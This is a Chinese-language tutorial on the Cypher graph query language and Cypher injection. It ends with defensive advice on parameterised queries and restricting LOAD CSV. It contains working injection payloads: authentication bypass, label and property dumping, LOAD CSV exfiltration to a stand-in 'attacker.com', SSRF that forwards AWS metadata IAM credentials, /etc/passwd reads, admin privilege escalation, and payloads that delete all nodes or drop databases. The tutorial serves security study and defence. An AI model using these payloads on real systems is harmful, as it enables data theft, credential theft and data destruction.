Cypher,全稱為 (Open) Cypher Query Language,是一種專為圖數據庫設計的聲明式查詢語言。它以直觀的模式匹配方式,幫助開發者和數據分析師從復雜的圖結構數據中檢索、創建和修改信息。如果說 SQL 是關系型數據庫的語言,那么 Cypher 就是圖數據庫的語言。Cypher 最初由 Neo4j 開發,通過 openCypher 項目成為開放標準,現已被 RedisGraph、Apache Spark、Amazon Neptune 等多種圖數據庫采納,成為圖查詢語言的事實標準之一。
本文將全面介紹 Cypher 的基礎知識、語法結構以及 Cypher 注入的原理與攻擊手法。
1. 圖數據庫與 Cypher 基礎
圖數據庫的核心要素
與傳統的關系型數據庫(基于表格和行)不同,圖數據庫通過節點和關系的結構化方式存儲數據。其核心由以下四個元素構成:
- 節點 (Nodes):表示圖中的實體,如人、書籍或公司。節點可以包含 屬性 (Properties),以鍵值對形式存儲詳細信息,例如
{name: 'Alice', age: 25}
。 - 關系 (Relationships):連接兩個節點,描述它們之間的關聯。關系具有方向和類型,例如
(Alice)-[:FRIENDS_WITH]->(Bob)
表示 Alice 與 Bob 之間的“朋友”關系。關系也可以擁有屬性。 - 屬性 (Properties):存儲在節點或關系中的鍵值對,用于附加詳細信息。例如,一個
:Person
節點可能有{name: 'Andy', title: 'Developer'}
。 - 標簽 (Labels):用于對節點或關系進行分類。例如,所有表示人物的節點可以打上
:Person
標簽,表示公司的節點可以打上:Company
標簽,便于快速查詢特定類型的實體。
一個典型的應用場景是安全分析工具 BloodHound,它利用 Neo4j 和 Cypher 的能力可視化并分析 Active Directory 中的復雜權限關系,幫助安全人員發現潛在的攻擊路徑。
Cypher 查詢語言基礎語法
Cypher 的強大之處在于其聲明式和可組合的特性,通過一系列 子句 (Clauses) 構建查詢,每個子句像管道一樣處理數據,將前一個子句的輸出傳遞給下一個子句。以下是 Cypher 的核心語法和子句:
查詢注釋
- 行內注釋:
//
用于單行注釋。 - 多行注釋:
/* ... */
用于多行注釋。
核心子句詳解
-
MATCH:Cypher 的核心子句,用于匹配圖中的模式,類似于 SQL 的
SELECT ... FROM
,但更直觀。// 匹配所有標簽為 "Fruit" 的節點并返回 MATCH (a:Fruit) RETURN a// 匹配具有特定屬性的 "Fruit" 節點 MATCH (a:Fruit {title: 'Green Apple'}) RETURN a// 使用 WHERE 子句進行復雜過濾 MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a// 限制結果數量并排序 MATCH (a:Fruit) RETURN a ORDER BY a.title DESC LIMIT 20
這里的
a
是一個變量,代表匹配到的節點,類似于編程中的臨時變量名,開發者可以自由命名(如a
、n
、m
),用于在查詢中引用節點。 -
CREATE:用于創建新的節點和關系。
// 創建一個空節點 CREATE (n)// 創建帶標簽和屬性的節點 CREATE (n:Person {name: 'Andy', title: 'Developer'})// 創建節點后通過 SET 添加或修改屬性 CREATE (n:Account) SET n.id=1, n.username="admin", n.password="password123" RETURN n
這里的
n
是節點變量,用于表示新創建的節點。 -
UNION / UNION ALL:合并多個查詢結果。
UNION
會去重,UNION ALL
保留所有結果。合并的查詢必須返回相同數量和名稱的列。// 合并人員姓名和書籍標題,使用相同別名 MATCH (n:Person) RETURN n.name AS name UNION MATCH (b:Book) RETURN b.title AS name
這里的
n
和b
是變量,分別表示:Person
和:Book
節點。 -
WITH:將前一個子句的輸出作為中間結果傳遞給下一個子句,常用于復雜查詢或注入攻擊中的查詢鏈。
// 匹配所有節點,排序并限制結果 MATCH (c) WITH c ORDER BY c.Character DESC LIMIT 3 RETURN collect(c.name)
這里的
c
是變量,代表匹配到的節點。 -
YIELD:在
CALL
語句中指定過程返回的字段,綁定到變量供后續使用。// 調用 db.labels() 獲取所有標簽,綁定到變量 x CALL db.labels() YIELD label AS x
-
LOAD CSV:從本地或遠程 CSV 文件導入數據,支持
HTTPS
、HTTP
、FTP
和file:///
協議,常被用于 SSRF 或任意文件讀取攻擊。// 讀取本地文件,可能導致任意文件讀取 LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line// 讀取遠程文件,可能導致數據外泄 LOAD CSV FROM 'https://attacker.com/data.csv' AS line RETURN line
這里的
line
是變量,表示 CSV 文件的每一行數據。 -
APOC 庫:Awesome Procedures on Cypher 是一個 Neo4j 擴展庫,提供豐富的功能,如
apoc.load.json()
用于導入 JSON 數據,apoc.util.sleep()
用于時間延遲(常用于時間盲注)。由于其強大功能,APOC 庫是 Cypher 注入攻擊的重要目標。
2. Cypher 注入:原理與攻擊手法
Cypher 注入是一種類似于 SQL 注入的攻擊方式,攻擊者通過在用戶可控的輸入中插入惡意 Cypher 代碼,改變查詢的原始意圖,執行未經授權的操作,如數據泄露、權限提升或拒絕服務。
Cypher 注入的分類
根據攻擊者與數據庫交互的方式,Cypher 注入可分為以下幾類:
- 帶內注入 (In-band):攻擊者通過同一通道注入代碼并直接獲取結果。
- 基于錯誤 (Error-based):通過構造惡意輸入觸發數據庫錯誤,推斷數據庫結構或泄露數據。
- 推斷型盲注 (Inferential Blind):攻擊者無法直接看到結果,但通過應用程序的行為推斷信息。
- 基于布爾值 (Boolean-based):通過注入
OR 1=1
或OR 1=0
,觀察響應差異。 - 基于時間 (Time-based):通過
apoc.util.sleep()
等延遲函數,判斷注入是否成功。
- 基于布爾值 (Boolean-based):通過注入
- 帶外注入 (Out-of-band):利用
LOAD CSV
等功能使數據庫向攻擊者控制的服務器發送請求,實現數據外泄或 SSRF。
與 SQL 注入相比,Cypher 注入有以下特點:
- 無“表”概念:無法直接通過
UNION
從其他“表”獲取數據,但可合并不同查詢結果。 - 時間盲注需依賴 APOC:Cypher 本身無
sleep
函數,需使用apoc.util.sleep()
。
經典注入攻擊示例
以下是一些典型的 Cypher 注入攻擊,展示如何利用漏洞實現惡意目的。
示例 1:簡單帶內注入 - 繞過查詢限制
原始查詢(以 NodeJS 應用為例):
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
攻擊載荷:
Spongebob' or 1=1 RETURN c//
最終查詢:
MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c
分析:
'
閉合字符串,注入or 1=1
使條件永真。//
注釋掉后續內容,返回所有:Character
節點,繞過查詢限制。
示例 2:帶外注入 - 數據外泄
原始查詢:
MATCH (p:Person) WHERE id(p) = 42 RETURN p
攻擊載荷:
42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r
最終查詢:
MATCH (p:Person) WHERE id(p) = 42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r RETURN p
分析:
CALL db.labels()
獲取所有標簽。LOAD CSV FROM 'https://attacker.com/' + label
將每個標簽發送到攻擊者服務器。- 變量
r
表示LOAD CSV
的返回數據(通常為空或 CSV 內容)。
示例 3:OPTIONAL MATCH
泄露所有節點
攻擊載荷:
1 OPTIONAL MATCH (m) RETURN m AS n //
分析:
OPTIONAL MATCH (m)
匹配圖中所有節點(包括無標簽節點),即使沒有匹配也不會報錯。RETURN m AS n
將所有節點重命名為n
返回。- 變量
m
表示匹配到的節點,n
是輸出別名。 - 效果:可能泄露整個數據庫的節點數據,適用于帶內注入場景。
構建惡意載荷的技巧
- 注入上下文分析:根據注入點的位置(字符串、括號等),使用
'
、"
、)
或}
閉合原始查詢。 - 利用注釋:通過
//
或/* ... */
注釋掉不需要的查詢部分(如LIMIT
或RETURN
)。 - WITH 子句:在
CREATE
等子句中注入WITH 1337 AS y
跳出上下文,追加惡意子句。 - URL 編碼:在 HTTP 請求中,確保空格、引號等特殊字符被正確編碼(如
%20
、%27
)。
3. 漏洞檢測與利用實戰
檢測 Cypher 注入漏洞
- 基于錯誤檢測:
- 輸入
'
或"
,觀察是否觸發語法錯誤。 - 輸入
1/0
,觸發運行時錯誤,分析錯誤信息以獲取數據庫結構或版本。
- 輸入
- 盲注檢測:
- 數學運算:在數字參數中注入
41+2-1
,若響應與42
相同,可能存在注入。 - 布爾值:注入
' or 1=1//
和' or 1=0//
,觀察響應差異。
- 數學運算:在數字參數中注入
- 帶外檢測:
- 使用
LOAD CSV
向攻擊者控制的服務器(如 Burp Collaborator)發送請求。 - 示例:
1 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS b RETURN b//
- 變量
b
表示LOAD CSV
的返回數據。
- 變量
- 使用
豐富的利用載荷
以下是針對不同攻擊目標的 Cypher 注入載荷,涵蓋認證繞過、數據泄露、SSRF、權限提升和拒絕服務。
認證繞過
- 載荷:
' or 1=1//
- 場景:登錄表單,繞過用戶名或密碼驗證。
- 效果:使條件永真,返回所有匹配節點。
數據泄露(帶內)
-
泄露所有標簽:
' RETURN 1 AS x UNION CALL db.labels() YIELD label AS x RETURN x//
- 變量
x
表示返回的標簽名。
- 變量
-
泄露指定標簽的屬性:
' RETURN 1 AS x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x//
- 變量
c
表示:Character
節點,x
表示屬性鍵。
- 變量
-
泄露屬性值:
' RETURN 1 AS x UNION MATCH (c:Character) RETURN c.name AS x//
- 變量
x
表示節點屬性name
的值。
- 變量
數據泄露(帶外)
-
泄露所有標簽:
' CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/'+label AS b RETURN b//
- 變量
b
表示LOAD CSV
的返回數據。
- 變量
-
泄露屬性值(需 APOC 庫):
' MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+c.name AS b RETURN b//
- 變量
b
表示LOAD CSV
的返回數據。
- 變量
SSRF 與任意文件讀取
-
泄露內部服務:
LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x LOAD CSV FROM "https://attacker.com/"+x[0] AS y RETURN ''//
- 變量
x
表示 AWS 元數據,y
表示外泄數據。
- 變量
-
任意文件讀取:
' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RETURN n //
- 變量
n
表示文件內容。
- 變量
權限提升
- 原始查詢:
CREATE (n:Account) SET n.password="{注入點}"
- 攻擊載荷:
", n.admin=True RETURN n//
- 最終查詢:
CREATE (n:Account) SET n.password="", n.admin=True RETURN n //
- 變量
n
表示創建的賬戶節點,注入后提升為管理員。
- 變量
拒絕服務 (DoS)
-
刪除所有節點:
' MATCH (all) DETACH DELETE all//
- 變量
all
表示所有節點。
- 變量
-
刪除數據庫:
' USE system CALL dbms.listDatabases() YIELD name WHERE name <> 'system' CALL { WITH name DROP DATABASE name } IN TRANSACTIONS RETURN 1 //
- 變量
name
表示數據庫名稱。
- 變量
4. 防御 Cypher 注入
- 參數化查詢:使用參數化查詢(prepared statements)代替字符串拼接。例如:
executeQuery("MATCH (c:Character) WHERE c.name = $name RETURN c", { name: userInput })
- 輸入驗證和清理:嚴格驗證用戶輸入,過濾特殊字符(如
'
、"
,//
)。 - 最小權限原則:限制數據庫用戶的權限,避免執行高危操作(如
DETACH DELETE
或DROP DATABASE
)。 - 禁用 APOC 高危功能:限制
apoc.util.sleep()
等函數,防止時間盲注。 - 限制 LOAD CSV:禁用
file://
協議,限制外部網絡請求。 - 錯誤信息隱藏:避免返回詳細的數據庫錯誤信息。
總結
Cypher 是一種強大且直觀的圖查詢語言,廣泛應用于圖數據庫中,但其靈活性也帶來了 Cypher 注入 的風險。攻擊者可以通過注入惡意代碼實現認證繞過、數據泄露、SSRF、權限提升甚至拒絕服務。變量如 m
、n
、b
是查詢中的臨時標識符,具體含義取決于上下文,例如在 OPTIONAL MATCH (m) RETURN m AS n //
中,m
表示所有節點,n
是輸出別名,可能導致整個數據庫內容泄露。通過理解 Cypher 的語法和注入原理,開發者可以更好地檢測和防御漏洞,而安全研究人員則能更有效地發現和利用潛在風險。